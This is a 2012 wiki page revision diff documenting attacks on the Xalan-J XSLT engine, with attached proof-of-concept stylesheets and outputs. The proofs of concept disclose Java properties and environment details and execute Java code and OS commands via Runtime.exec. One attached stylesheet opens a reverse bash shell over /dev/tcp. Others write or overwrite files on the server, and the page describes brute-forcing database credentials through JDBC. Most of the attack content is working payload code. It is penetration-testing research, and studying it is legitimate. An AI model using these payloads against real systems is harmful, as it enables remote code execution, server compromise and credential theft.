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Changes for page Engine_XalanJ

Last modified by Nicolas Gregoire on 2012/01/31 17:35
From version Icon 30.1 Icon
edited by Nicolas Gregoire
on 2012/01/11 22:37
Change comment: There is no comment for this version
To version Icon 59.1 Icon
edited by Nicolas Gregoire
on 2012/01/12 21:53
Change comment: There is no comment for this version

Summary

Details

Icon Page properties
Content
... ... @@ -19,36 +19,56 @@
19 19  
20 20  == Special features ==
21 21  
22 -* File creation
23 -* Code execution
24 -* JDBC connectivity
25 25  * Java properties disclosure
26 26  * Java environment disclosure
24 +* Java code execution
25 +* OS command execution
26 +* File creation
27 +* JDBC connectivity
27 27  
29 +== Java properties disclosure ==
30 +
31 +The xsl:system-property() standard function can be called with non standard arguments, mapped to Java properties. In this example, the name of the Java properties is stored in a separate XML file ([[properties.xml>>attach:properties.xml]]). The XSLT code will, for each property, display its name and its value.
32 +
33 +|=Namespace|=Function|=PoC|=Sample output
34 +|http:~/~/www.w3.org/1999/XSL/Transform|system-property()|[[xalanj-java-properties.xsl>>attach:xalanj-java-properties.xsl]]|[[xalanj-java-properties-output.txt>>attach:xalanj-java-properties-output.txt]]
35 +
28 28  == Java environment disclosure ==
29 29  
30 -The checkEnvironment() extension function (documented [[here>>http://xml.apache.org/xalan-j/faq.html#faq-N10064||rel="__blank"]]), associated to the Xalan namespace, will display some information about the execution context (packages, paths, versions, ...). The output of the execution of [[xalanj-checkenv.xsl>>attach:xalanj-checkenv.xsl]] is [[attached>>attach:xalanj-checkenv-output.txt]].
38 +The checkEnvironment() extension function (documented [[here>>http://xml.apache.org/xalan-j/faq.html#faq-N10064||rel="__blank"]]) will display some information about the execution context (including available packages, paths, versions, ...).
31 31  
40 +|=Namespace|=Extension function|=PoC|=Sample output
41 +|http:~/~/xml.apache.org/xalan|checkEnvironment()|[[xalanj-checkenv.xsl>>attach:xalanj-checkenv.xsl]]|[[xalanj-checkenv-output.txt>>attach:xalanj-checkenv-output.txt]]
42 +
32 32  == Java code execution ==
33 33  
34 -The following code will display the current date :
45 +The attached code will display the current date using a newly created "java.util.Date" object. This should be enough to demonstrate Java code execution.
35 35  
36 -TODO
47 +|=Namespace|=Extension function|=PoC|=Sample output
48 +|http:~/~/xml.apache.org/xalan/java/java.util.Date|new()|[[xalanj-java-date.xsl>>attach:xalanj-java-date.xsl]]|Current date:
49 +Wed Jan 11 22:45:07 CET 2012
37 37  
38 -== Execution of external commands ==
51 +== OS command execution ==
39 39  
40 -The following code will execute the command "touch /tmp/hello" :
53 +Once Java code execution is possible, it is trivial to execute arbitrary OS commands using the java.lang.Runtime class. The attached PoC will not read the output of the executed command (because loops are hard in XSLT). But this is not a problem if a reverse-shell have already been started, isn't it ;-)
41 41  
42 -<?xml version="1.0"?>
43 -<xsl:stylesheet xmlns:xsl="http:~/~/www.w3.org/1999/XSL/Transform"
44 - xmlns:j="http:~/~/xml.apache.org/xalan/java"
45 - exclude-result-prefixes="j"
46 - version="1.0">
47 - <xsl:template match="/">
48 - <xsl:variable name="c"><![CDATA[touch = /tmp/hello]]></xsl:variable>
49 - <xsl:variable name="a" select="j:split($c, ' = ')"/>
50 - <xsl:variable name="r" select="j:java.lang.Runtime.getRuntime()"/>
51 - <xsl:variable name="p" select="j:exec($r, $a )"/>
52 - No content at the moment ...
53 - </xsl:template>
54 -</xsl:stylesheet>
55 +|=Namespace|=Extension functions|=PoC
56 +|http:~/~/xml.apache.org/xalan/java|split(), getRuntime(), exec() and toString()|[[xalanj-reverse-bash.xsl>>attach:xalanj-reverse-bash.xsl]]
57 +
58 +__Note__ : as arrays are not a native type in XSLT, we create one in Java via split() before passing it as an argument to [[exec(String[] cmdarray)>>http://docs.oracle.com/javase/1.4.2/docs/api/java/lang/Runtime.html#exec(java.lang.String[])||rel="__blank"]].
59 +
60 +== File creation ==
61 +
62 +The "write" extension element allows to create files on the engine side. The content written to the file must be valid UTF-8 (so plain ASCII works too). Existing files can be overwritten.
63 +
64 +|=Namespace|=Extension element|=Parameter|=PoC
65 +|http:~/~/xml.apache.org/xalan/redirect|write|file|[[xalanj-write.xsl>>attach:xalanj-write.xsl]]
66 +
67 +== JDBC connectivity ==
68 +
69 +It is possible to use XSLT to connect to any database having a corresponding installed JDBC driver.
70 +
71 +|=Namespace|=Extension function|=PoC
72 +|org.apache.xalan.lib.sql.XConnection|new(), query() and close()|[[xalanj-jdbc-query.xsl>>attach:xalanj-jdbc-query.xsl]]
73 +
74 +The [[xalanj-jdbc-query.xsl>>attach:xalanj-jdbc-query.xsl]] PoC simply connects to a local MySQL database using some hard-coded credentials, executes a query and displays the result. The [[xalanj-jdbc-bruteforce.xsl>>attach:xalanj-jdbc-bruteforce.xsl]] one will read some tuples (JDBC driver, database URL, username, passsword) in a XML file ([[xalanj-jdbc-bruteforce.xml>>attach:xalanj-jdbc-bruteforce.xml]]) and try to login with each one, effectively brute-forcing credentials from the engine side (usually on the backend ;-).
Icon properties.xml
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1 +xwiki:XWiki.NicolasGregoire
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1 +<properties>
2 +<property>awt.toolkit</property>
3 +<property>browser</property>
4 +<property>browser.vendor</property>
5 +<property>browser.version</property>
6 +<property>file.encoding</property>
7 +<property>file.encoding.pkg</property>
8 +<property>file.separator</property>
9 +<property>file.separator.applet</property>
10 +<property>http.agent</property>
11 +<property>java.awt.graphicsenv</property>
12 +<property>java.awt.printerjob</property>
13 +<property>java.class.path</property>
14 +<property>java.class.version</property>
15 +<property>java.class.version.applet</property>
16 +<property>java.endorsed.dirs</property>
17 +<property>java.ext.dirs</property>
18 +<property>java.home</property>
19 +<property>java.io.tmpdir</property>
20 +<property>java.library.path</property>
21 +<property>java.runtime.name</property>
22 +<property>java.runtime.version</property>
23 +<property>java.specification.name</property>
24 +<property>java.specification.vendor</property>
25 +<property>java.specification.version</property>
26 +<property>java.vendor</property>
27 +<property>java.vendor.applet</property>
28 +<property>java.vendor.url</property>
29 +<property>java.vendor.url.applet</property>
30 +<property>java.vendor.url.bug</property>
31 +<property>java.version</property>
32 +<property>java.version.applet</property>
33 +<property>java.vm.info</property>
34 +<property>java.vm.name</property>
35 +<property>java.vm.specification.name</property>
36 +<property>java.vm.specification.vendor</property>
37 +<property>java.vm.specification.version</property>
38 +<property>java.vm.vendor</property>
39 +<property>java.vm.version</property>
40 +<property>javax.accessibility.assistive_technologies</property>
41 +<property>line.separator</property>
42 +<property>line.separator.applet</property>
43 +<property>os.arch</property>
44 +<property>os.arch.applet</property>
45 +<property>os.name</property>
46 +<property>os.name.applet</property>
47 +<property>os.version</property>
48 +<property>os.version.applet</property>
49 +<property>package.restrict.definition.java</property>
50 +<property>package.restrict.definition.sun</property>
51 +<property>path.separator</property>
52 +<property>path.separator.applet</property>
53 +<property>sun.arch.data.model</property>
54 +<property>sun.boot.class.path</property>
55 +<property>sun.boot.library.path</property>
56 +<property>sun.cpu.endian</property>
57 +<property>sun.cpu.isalist</property>
58 +<property>sun.desktop</property>
59 +<property>sun.io.unicode.encoding</property>
60 +<property>sun.java.launcher</property>
61 +<property>sun.jnu.encoding</property>
62 +<property>sun.management.compiler</property>
63 +<property>sun.os.patch.level</property>
64 +<property>user.country</property>
65 +<property>user.dir</property>
66 +<property>user.home</property>
67 +<property>user.language</property>
68 +<property>user.name</property>
69 +<property>user.timezone</property>
70 +<property>user.variant</property>
71 +<property>user.zoneinfo.dir</property>
72 +</properties>
73 +
Icon xalanj-java-date.xsl
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1 +<xsl:stylesheet version="1.0"
2 + xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
3 + xmlns:date="http://xml.apache.org/xalan/java/java.util.Date"
4 + exclude-result-prefixes="date">
5 + <xsl:output method="text"/>
6 + <xsl:template match="/">
7 + <xsl:variable name="dateObject" select="date:new()"/>
8 + <xsl:text>Current date: </xsl:text><xsl:value-of select="$dateObject"/>
9 + </xsl:template>
10 +</xsl:stylesheet>
11 +
Icon xalanj-java-properties-output.txt
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1 +<?xml version="1.0" encoding="UTF-8"?>
2 +awt.toolkit:
3 +browser:
4 +browser.vendor:
5 +browser.version:
6 +file.encoding: UTF-8
7 +file.encoding.pkg: sun.io
8 +file.separator: /
9 +file.separator.applet:
10 +http.agent:
11 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment
12 +java.awt.printerjob: sun.print.PSPrinterJob
13 +java.class.path: /usr/share/java/xalan2.jar:/usr/share/java/xml-apis.jar:/usr/share/java/xercesImpl.jar:/usr/share/java/serializer.jar:/usr/share/java/xsltc.jar
14 +java.class.version: 50.0
15 +java.class.version.applet:
16 +java.endorsed.dirs: /usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/endorsed
17 +java.ext.dirs: /usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/ext:/usr/java/packages/lib/ext
18 +java.home: /usr/lib/jvm/java-6-sun-1.6.0.26/jre
19 +java.io.tmpdir: /tmp
20 +java.library.path: /usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/i386/client:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/i386:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/../lib/i386:/usr/java/packages/lib/i386:/lib:/usr/lib
21 +java.runtime.name: Java(TM) SE Runtime Environment
22 +java.runtime.version: 1.6.0_26-b03
23 +java.specification.name: Java Platform API Specification
24 +java.specification.vendor: Sun Microsystems Inc.
25 +java.specification.version: 1.6
26 +java.vendor: Sun Microsystems Inc.
27 +java.vendor.applet:
28 +java.vendor.url: http://java.sun.com/
29 +java.vendor.url.applet:
30 +java.vendor.url.bug: http://java.sun.com/cgi-bin/bugreport.cgi
31 +java.version: 1.6.0_26
32 +java.version.applet:
33 +java.vm.info: mixed mode, sharing
34 +java.vm.name: Java HotSpot(TM) Client VM
35 +java.vm.specification.name: Java Virtual Machine Specification
36 +java.vm.specification.vendor: Sun Microsystems Inc.
37 +java.vm.specification.version: 1.0
38 +java.vm.vendor: Sun Microsystems Inc.
39 +java.vm.version: 20.1-b02
40 +javax.accessibility.assistive_technologies:
41 +line.separator:
42 +
43 +line.separator.applet:
44 +os.arch: i386
45 +os.arch.applet:
46 +os.name: Linux
47 +os.name.applet:
48 +os.version: 2.6.32-37-generic
49 +os.version.applet:
50 +package.restrict.definition.java:
51 +package.restrict.definition.sun:
52 +path.separator: :
53 +path.separator.applet:
54 +sun.arch.data.model: 32
55 +sun.boot.class.path: /usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/resources.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/rt.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/sunrsasign.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/jsse.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/jce.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/charsets.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/modules/jdk.boot.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/classes
56 +sun.boot.library.path: /usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/i386
57 +sun.cpu.endian: little
58 +sun.cpu.isalist:
59 +sun.desktop: gnome
60 +sun.io.unicode.encoding: UnicodeLittle
61 +sun.java.launcher: SUN_STANDARD
62 +sun.jnu.encoding: UTF-8
63 +sun.management.compiler: HotSpot Client Compiler
64 +sun.os.patch.level: unknown
65 +user.country: FR
66 +user.dir: /home/bob/foobar
67 +user.home: /home/bob
68 +user.language: fr
69 +user.name: bob
70 +user.timezone:
71 +user.variant:
72 +user.zoneinfo.dir:
73 +
Icon xalanj-java-properties.xsl
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1 +xwiki:XWiki.NicolasGregoire
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1 +<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" >
2 + <xsl:template match="//property">
3 + <xsl:variable name="p" select="text()"/>
4 + <xsl:value-of select="$p"/>: <xsl:value-of select="system-property($p)"/>
5 + </xsl:template>
6 +</xsl:stylesheet>
7 +
Icon xalanj-reverse-bash.xsl
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1 +xwiki:XWiki.NicolasGregoire
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1 +<xsl:stylesheet
2 + xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
3 + xmlns:jv="http://xml.apache.org/xalan/java"
4 + exclude-result-prefixes="jv"
5 + version="1.0">
6 +
7 + <xsl:template match="/">
8 +
9 + <xsl:variable name="test"><![CDATA[/bin/bash ==== -c ==== /bin/bash 7<>/dev/tcp/127.0.0.1/4444 <&7 >&7]]></xsl:variable>
10 + <xsl:variable name="a" select="jv:split($test, ' ==== ')"/>
11 + <xsl:variable name="rtobject" select="jv:java.lang.Runtime.getRuntime()"/>
12 + <xsl:variable name="process" select="jv:exec($rtobject, $a )"/>
13 +
14 +Objet "String" :
15 + <xsl:value-of select="$test"/>
16 +
17 +Objet "Array" :
18 + <xsl:variable name="aAsString" select="jv:toString($a)"/>
19 + <xsl:value-of select="$aAsString"/>
20 +
21 +Objet "Runtime" :
22 + <xsl:variable name="rtobjectAsString" select="jv:toString($rtobject)"/>
23 + <xsl:value-of select="$rtobjectAsString"/>
24 +
25 +Objet "Process" :
26 + <xsl:variable name="processAsString" select="jv:toString($process)"/>
27 + <xsl:value-of select="$processAsString"/>
28 +
29 + </xsl:template>
30 +</xsl:stylesheet>
31 +
Icon xalanj-write.xsl
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1 +xwiki:XWiki.NicolasGregoire
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1 +<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
2 + xmlns:redir="http://xml.apache.org/xalan/redirect"
3 + extension-element-prefixes="redir"
4 + version='1.0'>
5 +
6 + <xsl:template match="/">
7 + <redir:write file="/tmp/created_by_xalanj_write" method="text">
8 + <xsl:text>Just a PoC</xsl:text>
9 + </redir:write>
10 + </xsl:template>
11 +
12 +</xsl:stylesheet>
13 +